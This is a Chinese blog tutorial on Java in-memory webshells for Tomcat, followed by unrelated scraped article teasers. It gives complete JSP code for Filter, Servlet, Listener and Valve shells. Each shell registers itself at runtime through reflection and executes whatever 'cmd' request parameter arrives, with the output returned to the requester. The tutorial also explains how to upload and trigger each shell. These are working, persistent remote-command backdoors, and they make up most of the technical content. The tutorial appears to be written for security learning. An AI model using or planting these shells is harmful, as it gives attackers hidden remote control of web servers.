java内存马

java内存马

idea 2024.1.2专业版
jdk1.8.0_181
tomcat 8.5.82

默认有java基础,Javassist,Jsp,JavaEE都会一点

更新ing

文章目录

  • java内存马
    • 0. 一些基础
    • 1. filter型内存马
    • 2. Servlet型内存马
    • 3. listener型内存马
    • 4. Tomcat特有的Valve内存马
      • 1. valve基础
      • 2. valve内存马
    • 5. Spring内存马
    • 参考

0. 一些基础

tomcat包括五大容器和一个连接器,五大容器是Service、Engine、Host、Context、Wrapper,连接器是Connector。

tomcat中的三种context

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

在这里插入图片描述

1. filter型内存马

filter型内存马在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

filter接口主要定义了以下三种方法:

  • init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。
  • doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。
  • destroy(): Filter销毁时调用,释放资源。

Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

在这里插入图片描述

pom.xml添加

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.55</version>
</dependency>

webapp目录下filter.jsp

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filterfinal String name = "filter"; // Filter 的名称// 1. 获取 ServletContextServletContext servletContext = request.getServletContext();// 2. 通过反射获取 ApplicationContext// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值// 3. 通过反射获取 StandardContext// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true); // 设置字段可访问StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)// 反射获取 StandardContext 中的 private 字段 "filterConfigs"Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true); // 设置字段可访问Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值// 5. 检查是否已存在同名 Filterif (filterConfigs.get(name) == null) {// 6. 创建恶意的 Filter 实例Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// Filter 初始化方法 (此处为空)}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {// Filter 的核心处理方法HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;lresponse.setContentType("text/html; charset=UTF-8");lresponse.setCharacterEncoding("UTF-8");// 如果请求参数中包含 "cmd",则执行命令if (lrequest.getParameter("cmd") != null) {Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令// 读取命令执行结果java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}// 将命令执行结果写入响应lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return; // 阻止请求继续传递}filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求}@Overridepublic void destroy() {// Filter 销毁方法}};// 7. 创建 FilterDef (Filter 定义)FilterDef filterDef = new FilterDef();filterDef.setFilter(filter); // 设置 Filter 实例filterDef.setFilterName(name); // 设置 Filter 名称filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext// 8. 创建 FilterMap (Filter 映射)FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式filterMap.setFilterName(name); // 设置 Filter 名称filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUESTstandardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)// 9. 创建 ApplicationFilterConfig (Filter 配置)// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true); // 设置构造方法可访问// 通过反射创建 ApplicationFilterConfig 实例ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册filterConfigs.put(name, filterConfig);}
%>

上传该jsp文件到webapp目录然后浏览器访问filter.jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令。

在这里插入图片描述

主要的一些关键步骤:

  1. 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
  2. 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。
  3. 最后动态注册Filter:
    • 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。
    • 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
    • 创建FilterDef对象,设置Filter的名称、类名等信息。
    • 创建FilterMap对象,设置Filter拦截的URL模式。
    • 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。
    • 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。

2. Servlet型内存马

Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

Servlet 接口定义了以下三个主要的方法:

  • init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。
  • service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。
  • destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。

如果写成java类的话得在web.xml里加

<servlet><servlet-name>evilServlet</servlet-name><servlet-class>com.example.filtershell.EvilServlet</servlet-class><!-- 设置启动顺序 --><load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping><servlet-name>evilServlet</servlet-name><url-pattern>/evil</url-pattern>
</servlet-mapping>

下面用jsp实现

servlet.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %><%// 定义恶意Servlet类class EvilServlet extends HttpServlet {@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());//response.getWriter() 来获取一个可以向客户端发送字符文本的 PrintWriter 对象。} catch (Exception e) {response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(e.toString());}}}@Overridepublic void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {doGet(request, response);}}// 注入流程final String servletName = "evilServlet";final String urlPattern = "/evil";// 1. 获取 StandardContext//servletContext->ApplicationContext->StandardContextServletContext servletContext = request.getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);//获取context字段在applicationContext对象上的当前值// 2. 检查 Servlet 是否已存在,防止重复注入if (standardContext.findChild(servletName) == null) {// 3. 创建 WrapperWrapper wrapper = standardContext.createWrapper();wrapper.setName(servletName);wrapper.setServletClass(EvilServlet.class.getName());wrapper.setServlet(new EvilServlet());wrapper.setLoadOnStartup(1);// 4. 添加 Servlet 配置standardContext.addChild(wrapper);standardContext.addServletMappingDecoded(urlPattern, servletName);out.println("Servlet 注入成功!");out.println("访问路径: " + urlPattern);out.println("支持参数: cmd");} else {out.println("Servlet 已存在!");}
%>

上传该jsp文件到webapp目录然后浏览器访问servlet.jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。

在这里插入图片描述

在这里插入图片描述

主要的一些关键步骤:

  1. 恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。

  2. 注入流程:

    • 获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。

    • 检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。

    • 创建 Wrapper:

      使用 standardContext.createWrapper() 创建一个 Wrapper 对象。

      • wrapper.setName(servletName): 设置 Servlet 名称。
      • wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
      • wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
      • wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
    • 添加 Servlet 配置:

      • standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
      • standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。

3. listener型内存马

listener型内存马在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。

Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如:

  • 应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。

  • 会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。

  • 请求生命周期事件: 与 HTTP 请求的处理相关的事件。

  • 属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。

  • **requestInitialized(ServletRequestEvent sre):**此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。

  • **requestDestroyed(ServletRequestEvent sre):**此方法在每个 HTTP 请求结束时调用。

与filter和servlet内存马区别:

主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。

listener一般在web.xml这样配置,但这里不必配置

<listener><listener-class>com.example.MyServletContextListener</listener-class>
</listener>

使用jsp写

listener.jsp

ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener接口的requestInitialized()方法。

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.*" %><%// 定义恶意Listenerclass EvilListener implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent sre) {// 每次请求初始化的时候处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("start of listen");HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();String cmd = request.getParameter("cmd");if (cmd != null) {try {InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}).getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(in));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}Field requestF = request.getClass().getDeclaredField("request");requestF.setAccessible(true);Request req = (Request)requestF.get(request);req.getResponse().setContentType("text/plain; charset=UTF-8");req.getResponse().setCharacterEncoding("UTF-8");req.getResponse().getWriter().write(sb.toString());} catch (Exception e) {e.printStackTrace();}}}@Overridepublic void requestDestroyed(ServletRequestEvent sre){// 每次请求结束时的处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("ends of listen");}}// 注入流程// 1. 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 2. 创建并添加ListenerServletRequestListener evilListener = new EvilListener();standardContext.addApplicationEventListener(evilListener);out.println("Listener注入成功!");
%>

上传listener.jsp后浏览器访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求中获取 ServletContext 对象。
    • 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。
    • 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。
  2. 创建并注册恶意 Listener:
    • 创建 EvilListener 类的实例。
    • 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。

4. Tomcat特有的Valve内存马

1. valve基础

Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。

Pipeline-Valve 架构:

Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。

  • First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。
  • Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。
  • Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。

Valve 的关键方法:

  • invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。

在这里插入图片描述

2. valve内存马

Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。

valve.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.catalina.Pipeline" %><%!class EvilValve extends ValveBase {@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {String cmd = request.getParameter("cmd");if (cmd != null && !cmd.isEmpty()) {try {Process p = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/plain; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());response.setStatus(HttpServletResponse.SC_OK);response.getWriter().flush();response.getWriter().close();return;} catch (Exception e) {e.printStackTrace();}}getNext().invoke(request, response);}}%>
<%try {// 1. 反射获取 StandardContextField requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request req = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) req.getContext();// 2. 获取 PipelinePipeline pipeline = standardContext.getPipeline();// 3. 创建并添加 Valvepipeline.addValve(new EvilValve());out.println("Valve 注入成功!");} catch (Exception e) {e.printStackTrace(response.getWriter());}
%>

上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。
    • 通过 req.getContext() 获取 StandardContext 对象。
  2. 获取 Pipeline:
    • 通过 standardContext.getPipeline() 获取 Pipeline 对象。
  3. 创建并注册恶意 Valve:
    • 创建 EvilValve 类的实例。
    • 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。

5. Spring内存马

施工中ing

Java Agent看下一篇

还是挺复杂的

参考

Java内存马深入分析 Yu4xr安全

Java安全学习——内存马 枫のBlog

从零学习Agent内存马 小菜鸡学web

Java Web安全 百安科技

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/65074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ORB-SLAM3:相机针孔模型和相机K8模型】

在ORB-SLAM3中&#xff0c;相机的建模是 SLAM 系统的核心之一&#xff0c;因为它直接影响到如何处理和利用图像数据进行定位和地图构建。ORB-SLAM3 支持不同的相机模型&#xff0c;其中包括针孔模型和鱼眼模型&#xff08;K8 模型&#xff09;。下面分别介绍这两种模型。 相机…

[手机Linux] 七,NextCloud优化设置

安装完成后在个人设置里发现很多警告&#xff0c;一一消除。 只能一条一条解决了。 关于您的设置有一些错误。 1&#xff0c;PHP 内存限制低于建议值 512 MB。 设置php配置文件&#xff1a; /usr/local/php/etc/php.ini 把里面的&#xff1a; memory_limit 128M 根据你自…

P3456 [POI2007] GRZ-Ridges and Valleys BFS-连通块思想

题目描述 Byteasar loves trekking in the hills. During the hikes he explores all the ridges and valleys in vicinity. Therefore, in order to plan the journey and know how long it will last, he must know the number of ridgesand valleys in the area he is goi…

一键打断线(根据相交点打断)——CAD c# 二次开发

多条相交线根据交点一键打断&#xff0c;如下图&#xff1a; 部分代码如下: finally namespace IFoxDemo; public class Class1 {[CommandMethod("ddx")]public static void Demo(){//"ifox可以了".Print();Database db HostApplicationServices.Workin…

【Yonghong 企业日常问题 06】上传的文件不在白名单,修改allow.jar.digest属性添加允许上传的文件SH256值?

文章目录 前言问题描述问题分析问题解决1.允许所有用户上传驱动文件2.如果是想只上传白名单的驱动 前言 该方法适合永洪BI系列产品&#xff0c;包括不限于vividime desktop&#xff0c;vividime z-suit&#xff0c;vividime x-suit产品。 问题描述 当我们连接数据源的时候&a…

在Windows11上编译C#的实现Mono的步骤

在Windows11上编译Mono的步骤 1、 在win11打开开发者模式,在更新和安全选项里,如下图: 2、下载并安装64位的cygwin, 下载网站:www.cygwin.com 3、 安装 Visual Studio 2015 or later 的社区版本。 4、 下载Mono的windows最新版本。 5、 在cmd.exe里运行下面的命令来安…

嵌入式轻量级开源操作系统:HeliOS的使用

嵌入式轻量级开源操作系统:HeliOS的使用 &#x1f4cd;项目地址&#xff1a;https://github.com/heliosproj/HeliOS HeliOS项目是一个社区交付的开源项目&#xff0c;用于构建和维护HeliOS嵌入式操作系统&#xff08;OS&#xff09;。HeliOS是一个功能齐全的操作系统&#xff0…

黑马Java面试教程_P9_JVM虚拟机

系列博客目录 文章目录 系列博客目录前言1. JVM组成1.1 JVM由那些部分组成&#xff0c;运行流程是什么&#xff1f;3 41.2 什么是程序计数器&#xff1f;3 4总结 1.3 你能给我详细的介绍Java堆吗? 3 4总结 1.4 什么是虚拟机栈 3 4总结 1.6 能不能解释一下方法区&#xff1f; 3…

YOLO11改进-注意力-引入多尺度卷积注意力模块MSCAM

如何在增强特征图的同时降低计算成本&#xff0c;以提升模型性能。基于此&#xff0c;MSCAM 模块采用了多尺度卷积注意力机制&#xff0c;通过 CAB、SAB 和 MSCB 三个子模块协同工作。CAB 利用自适应池化和卷积操作生成通道注意力权重&#xff0c;强调重要通道特征&#xff1b;…

Kafka无锁设计

前言 在分布式消息队列系统中,Kafka 的无锁设计是其高吞吐量和高并发的核心优势之一。通过避免锁的竞争,Kafka 能够在高并发和大规模的生产环境中保持高效的性能。为了更好地理解 Kafka 的无锁设计,我们首先对比传统的队列模型,然后探讨 Kafka 如何通过无锁机制优化生产者…

Refusal in Language Models Is Mediated by a Single Direction

开源代码&#xff1a;https://github.com/andyrdt/refusal_direction Abstract 会话型大语言模型针对指令遵循和安全性进行了微调&#xff0c;从而产生服从良性请求但拒绝有害请求的模型。虽然这种拒绝行为在聊天模型中普遍存在&#xff0c;但其背后的机制仍然知之甚少。在这…

智慧平台数据可视化解决方案(附实践资料下载)

阿里云详解数据可视化大屏构建&#xff0c;内容涉及数据可视化大屏的构建。以下是该文件的核心内容概要&#xff1a; 数据可视化大屏概述&#xff1a; 数据可视化大屏的定义和目的。大屏在企业决策中的作用。 大屏设计原则&#xff1a; 强调用户体验和视觉美感。信息的清晰度和…

基于openlayers 开发vue地图组件

先看效果 主要功能如下&#xff1a; 测量图源更换放大缩小地图添加点hover点数据切换到地图位置&#xff1b;也设定层级2D3D切换&#xff0c;3D为cesium开发&#xff0c;技术交流可以加V&#xff1a;bloxed 地图工具做了插槽&#xff0c;分为toolbar&#xff08;左上角工具…

人工智能ACA(六)--计算机视觉基础

一、计算机视觉概述 1. 计算机视觉定义 人工智能&#xff08;AI&#xff09;的一个重要分支旨在使计算机和系统能够从图像或多维数据中“理解”和“解释”视觉世界通过模拟人类视觉系统&#xff0c;计算机视觉技术能够自动执行诸如识别、分类、检测和跟踪等任务。 2. 计算机…

叉车作业如何确认安全距离——UWB测距防撞系统的应用

叉车在工业环境中运行&#xff0c;常常需要在狭窄的空间内完成货物的搬运和堆垛&#xff0c;这对操作员的技术水平和安全意识提出了极高的要求。传统的叉车作业依赖操作员的经验和视觉判断来确认安全距离&#xff0c;然而这种方式往往存在误差&#xff0c;特别是在视线受阻或光…

基于深度学习(HyperLPR3框架)的中文车牌识别系统-搭建开发环境

本篇内容为搭建开发环境。包括&#xff1a;python开发环境&#xff0c;Qt/C开发环境&#xff0c;以及用到的各个库的安装和配置。 一、Python开发环境搭建与配置 1、下载并安装Anaconda 我没有用最新的版本&#xff0c;安装的是 Anaconda3-2021.05-Windows-x86_64.exe&#…

神经网络-AlexNet

AlexNet是在2012年的ImageNet竞赛后&#xff0c;整理发表的文章&#xff0c;也是对CNN网络的衍生。 网络结构 AlexNet网络结构如下图所示&#xff0c;网络分为了上下两部分&#xff0c;对应两个不同的GPU训练&#xff0c;可以更好的利用GPU算力。只有在特殊的网络层后&#x…

【R语言遥感技术】“R+遥感”的水环境综合评价方法

R语言在遥感领域中是一个强大的工具&#xff0c;它提供了一系列的功能和优势&#xff0c;使得遥感数据的分析和应用更加高效和灵活。以下是R语言在遥感中的具体应用&#xff1a; 数据处理&#xff1a;R语言可以处理和清洗遥感数据&#xff0c;包括数据转换、滤波处理、去噪和数…

硬件模块常使用的外部中断

对于STM32来说&#xff0c;想要获取的信号是外部驱动的很快的突发信号 例1&#xff1a;旋转编码器的输出信号&#xff1a; 可能很久都不会拧它&#xff0c;不需要STM32做任何事情但是一拧它&#xff0c;就会有很多脉冲波形需要STM32接收信号是突发的&#xff0c;STM32不知道什…

TCN-Transformer+LSTM多变量回归预测(Matlab)添加气泡图、散点密度图

TCN-TransformerLSTM多变量回归预测&#xff08;Matlab&#xff09;添加气泡图、散点密度图 目录 TCN-TransformerLSTM多变量回归预测&#xff08;Matlab&#xff09;添加气泡图、散点密度图预测效果基本介绍程序设计参考资料 预测效果 基本介绍 基本介绍 1.双路创新&#xff…